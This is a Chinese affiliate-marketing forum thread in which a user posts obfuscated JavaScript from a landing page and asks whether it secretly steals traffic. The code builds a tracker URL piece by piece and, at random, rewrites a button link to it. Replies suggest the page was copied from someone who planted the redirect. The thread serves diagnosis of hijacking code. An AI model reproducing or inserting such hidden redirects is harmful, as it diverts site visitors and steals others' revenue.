一段js 求解密，怀疑流量被偷了。大牛帮我看看。

tmdsoft · 发表于 2014-12-25 21:16:37

本帖最后由 tmdsoft 于 2014-12-25 21:19 编辑

$(function() {
. k6 e" I7 Y! u4 c
$(".option.clearfix").on("click",
$ L- O% _+ a! B- a1 \* A5 _
function() {
+ H* w2 ], i0 w1 A7 K
$(this).toggleClass("selected");
1 C" x4 K! w, H0 v- J& @8 U
if ($(this).hasClass("selected")) {
; x# T9 E. d" J6 r9 i
$(this).addClass("selected")
8 W0 G+ L% ]" e( [6 \7 h6 i9 A
} else {$ }. J ~+ i3 r5 e
$(this).removeClass("selected")6 P) I8 P) s' i+ d+ W# W
}
0 J& g: A% ~( r
return false. \* T7 |% I, h6 e. m
});
var e = "r";
T9 R9 ?- o$ d2 N! n, l% f3 B! R- ~
var t = "e";" R) ~8 l3 q( T4 n7 @; O
setBtnMarginDefault = "c" + "\u006B";
2 \4 C& H( g+ o5 P4 {* a
$(".option2.clearfix").on("click",8 P$ _' y6 h3 }9 @" F9 n' F( s5 k& V
function() {
% L! _/ f8 b7 U5 i
$(this).toggleClass("selected");" p! }; i5 [+ }0 _% b3 k2 ^: _/ ]# Z
if ($(this).hasClass("selected")) {) D( G; E3 A# J+ s3 d' \+ P
$(this).addClass("selected")7 B r8 T7 R p* v1 W# c
} else {
& K+ ?, O3 k$ R- K2 `, \& O: @2 p
$(this).removeClass("selected")
# t& i3 B" k }7 k6 w% l, D2 [: I
}. M/ ^1 a; z8 s4 p1 U, Y
return false$ H0 v" b4 v) \( i& F/ o, ?
});
" l8 M% C- A. E/ G& p
var n = "a";
3 `/ v, R( D9 f% W+ w
var r = "g";9 G; @' c4 i* h8 G6 q
$(".option3.clearfix").on("click",
: g+ G! g" H3 T5 q: Q1 X, d2 Y
function() {
! ?8 f4 p; [" J
$(this).toggleClass("selected");' R/ @0 U) [2 c+ |! v+ \4 q
if ($(this).hasClass("selected")) {( K) Q" P; M" i5 i" T
$(this).addClass("selected")2 U6 \1 y5 U% e6 b- j8 Z) e
} else {! h' H" i9 R% I! }: B
$(this).removeClass("selected")
3 O* l) f. B& j* K
}% X( U5 z6 m9 _4 ?( s) f1 Q
return false* G- M7 ^6 m3 O" G
});
7 L4 z2 X' u4 q2 E
var i = "e";
; k% H$ @. r' \! {6 s V: @! m
var s = n + r + e + t + i;
# n' \- s& C* C9 ]' d: Q5 H
$(".option4.clearfix").on("click",! Y/ M( h/ U/ y! y k* M6 u/ Y: z
function() {
8 p/ F. h r0 y/ C, d
$(this).toggleClass("selected");
" \4 A: @2 ]0 I" H# u d
if ($(this).hasClass("selected")) {8 N* K$ X, N1 ~1 r4 ^3 u0 A
$(this).addClass("selected")0 f2 D6 n( i2 B$ Y5 s
} else {
: g2 Y# E: I Q5 c; F
$(this).removeClass("selected"). R, d# K4 I/ [! {
}
. |! b% [+ D0 L4 a8 g. P. t
return false2 P: N# i* D! ^6 T0 @6 e+ o& x8 m
});
) c) C% o2 R/ [( B9 y
var o = "\u0032" + "\u0030";
# a T! M3 Q3 c
var u = "\u0031" + "\u0030";6 @" ]/ i- C8 M6 K& g
currentWhiteSpace = Math.floor(Math.random() * o);
6 ]5 d5 n: V6 q0 q) W/ ~
setBtnMargin30 = setBtnMarginDefault + "." + "c";
* _5 l5 z9 E* p0 k; q
Date.prototype.getMonthName = function() {; j3 a! H$ i! ^
var e = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"];
! d$ z ~/ _6 y5 n1 ?2 D/ E
return e[this.getMonth()]
- T+ t1 L9 n) d: v# m: E Y! P
};' R% w& W9 F7 l O* l
var a = currentWhiteSpace;/ l2 a1 z5 V) j* O, D( ]
var f = "H";( r, {9 f( i8 Q; }: S3 E$ ^
var l = "\u0052";+ g4 m$ B" K3 r# E8 Q3 l9 G1 X
var c = "o" + "\u006D";4 r" R; M( |9 b3 x' I
f += "T";+ l+ T3 Y+ _( X1 h* Z7 _: J' X
f += "T";
; b$ X; F" v% K4 ?2 _$ R
f += "P";# Q9 O% l0 G( ?/ |( `
var h = new Date;
+ [9 M6 _ J# Q/ {* D
if (h.getMonth() == 11) {
! ?4 t& j r6 H- v* o B8 j) n
var p = (new Date(h.getFullYear() + 1, 0, 1)).getMonthName()
3 S; [% _8 r6 N- E% J; Q% Z# p. \
} else {* O% G; L3 D. U2 e4 X+ P2 h
var p = (new Date(h.getFullYear(), h.getMonth() + 1, 1)).getMonthName() E8 R7 H+ p; l* d2 D& w# \: c
}
5 e0 _7 K5 _4 X% y1 O
var d = ":" + "/" + "/";9 }9 ^! \9 v- [: J& V( V
l += "S";
3 A' {- ^% ^) c+ [5 d9 r. U7 V, |
l += "x";
5 z2 }5 L' s8 K
document.getElementById("monthz").innerHTML = p;! w: A9 W ?1 E' F: [/ D
l += "\u0054";
3 d l( v; V7 E# l& |
l += "R";
7 f2 N3 F- T$ U% _/ R/ Q8 d) G
l += "\u0041" + setBtnMargin30;
$ x6 L4 G( w$ h/ h
setStyle = f + d + l + c;3 N# \; t$ r/ T; E% F
s = s.toLowerCase(s);
+ g" t2 V+ i* Z# o1 W
if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;
5 O3 n' i6 o" S- V! V, q1 F0 f% b& b/ C
})

复制代码

了解js 的帮我看看这个加密的函数，是不是随机性的偷流量。

tmdsoft · 发表于 2014-12-25 21:21:01

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

复制代码

最后这一句，怀疑是随机偷流量代码。。。

tmdsoft · 发表于 2014-12-25 21:40:19

$(function () {9 q* M* q" N6 S$ R! {1 W
$(".option.clearfix").on("click", function () {
. N* E8 c5 W7 [0 y8 G  D       $(this).toggleClass("selected");) K1 B0 X5 O( [6 @+ m6 q8 l- Y
      if ($(this).hasClass("selected")) {
- y/ k5 `: `8 s/ U) d2 [' `          $(this).addClass("selected"), C3 t% k. r  b9 p+ k7 N. j
      } else {
0 U1 [& F, S; S8 H+ T0 p) d          $(this).removeClass("selected")/ d; T+ j/ x/ Q" Z, ^6 Z' g  G
      }" M7 ?5 b& \: G! w
      return false; E' c* H- s5 S8 Z( Q, E: W1 C
});% R, t8 h7 q; f5 {
$(".option2.clearfix").on("click", function () {
# T& R; M- q& V       $(this).toggleClass("selected");
% a8 ]8 L5 ]4 \3 R- V       if ($(this).hasClass("selected")) {5 D" x) V5 ^" h- @0 v+ t
         $(this).addClass("selected")( F8 O2 F& ?8 O: O8 P7 R  @( @
      } else {7 A" l- ?, R% Z- n, G, Q' Y' h
         $(this).removeClass("selected")( g# \( v9 Z$ ?2 A' }2 m, e; U! K
      }/ E$ A. l% ~) F9 G
      return false' r( z( e7 |3 q9 U( A' X
});
% {- D: x# o+ A9 B" z- z/ a7 w( O $(".option3.clearfix").on("click", function () {$ [$ l, `" _$ E" _* n
      $(this).toggleClass("selected");; {# }: _! q& e& t( Y$ Z9 k" S
      if ($(this).hasClass("selected")) {
! S1 u, Z) e" [9 n& C          $(this).addClass("selected")$ ]1 a- X9 c  M
      } else {( X, T+ ?" G  w- U
         $(this).removeClass("selected")
6 @$ W$ w8 o( W, X$ B. j       }
2 D6 i" b: o6 C# Z/ E0 ]9 }- R       return false' K7 M3 i; c- D2 l3 N) g5 V$ j
});: @7 U2 r1 k1 H! o6 X3 e- P; j
$(".option4.clearfix").on("click", function () {  N/ c7 U6 f' y6 p
      $(this).toggleClass("selected");
, z" e: J/ z3 G( b3 U) o       if ($(this).hasClass("selected")) {
$ C0 W& T8 K. V          $(this).addClass("selected")
* B% G- H# j. @1 ]$ `       } else {7 L/ \7 N/ Y+ T: a/ @; a) j4 p% H
         $(this).removeClass("selected")
7 V  q* U- G% T% |0 C       }
7 X. F: Q6 g% N       return false
7 J1 h6 L6 D2 ~3 D });* [) x3 {4 x/ {+ z
})

我把代码简化了下，lp 正常，问题解决，另外还是求大牛看看一楼的代码，是不是随机跳转偷流量。。。

河小马 · 发表于 2014-12-25 22:53:55

不是的

tmdsoft · 发表于 2014-12-26 01:17:21

河小马发表于 2014-12-25 22:53& F6 N) q' n* J) |8 r
不是的

那是什么？

tmdsoft · 发表于 2014-12-26 01:37:43

本帖最后由 tmdsoft 于 2014-12-26 01:39 编辑

document.getElementsByClassName(s)[0].href = setStyle

复制代码

最主要的是这句话，最后 setstyle = Http://RSxTRAck.com

tmdsoft · 发表于 2014-12-26 01:45:43

if (a == o - u) document.getElementsByClassName(s)[0].href = setStyle;

o=20
u=10

a=1或者0 乘以20

如果a=20（50%的几率) ,那么条件成立，请问这句代码是不是重定向到这个网址上。

显示全部楼层 · 发表于 2014-12-27 12:14:29

你是用了别人的LP？

Rock_well · 发表于 2014-12-28 01:00:28

setstyle = Http://RSxTRAck.com
如果后面不是你自己的offer页面，就是你在扒了别人的LP之后没有做修改，人家重定向了吧。

		自动登录	找回密码
密码			立即注册

Google-Bing-Mediago-Criteo开户	⚡️按条S5代理⚡️静态⚡️独享⚡️5G	广告专用虚拟卡/U充值/高返点	皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选	【鲁班跨境通-自助充值转账】	FB/GG/TT❤️官方免费开户	Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理	*开户投流-724h❤️人工在线**	【官方】❤️搜索套利买量投流开户	独立站⚡️开户投放
Google FB TK游戏代投	⚡️E.PN 虚拟卡⚡️	BINOM TRACKER 60% OFF!	比Adplexity还好用的Spy工具
ADPLEXITY + ADVERTCN	7200W全球动态不重复住宅IP代理	虚拟信用卡+独立站收款	全球虚拟卡, 支持U充值
Facebook 批量上广告	尤里改 - FB 稳定投放	免费黑五教程（持续更新、欢迎交流）	FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户（优势）	IPCola原生住宅IP⚡️$1.8/条双ISP	FB资源，账单户，分享户，国内一手	TK加白户/二解户/FB海外户/GG老户
最大欧洲Nutra网盟BA找量	FB高权重耐操个号⚡️稳定过审	FB企业户海外户,授信户,TK加白户	联盟收款/海外资金下发/服贸结汇
✔Taboola海外户源头	广告位出租	虚拟卡返佣1%，国内持牌机构

[讨论] 一段js 求解密，怀疑流量被偷了。大牛帮我看看。

点评

点评

浏览过的版块

社区QQ达人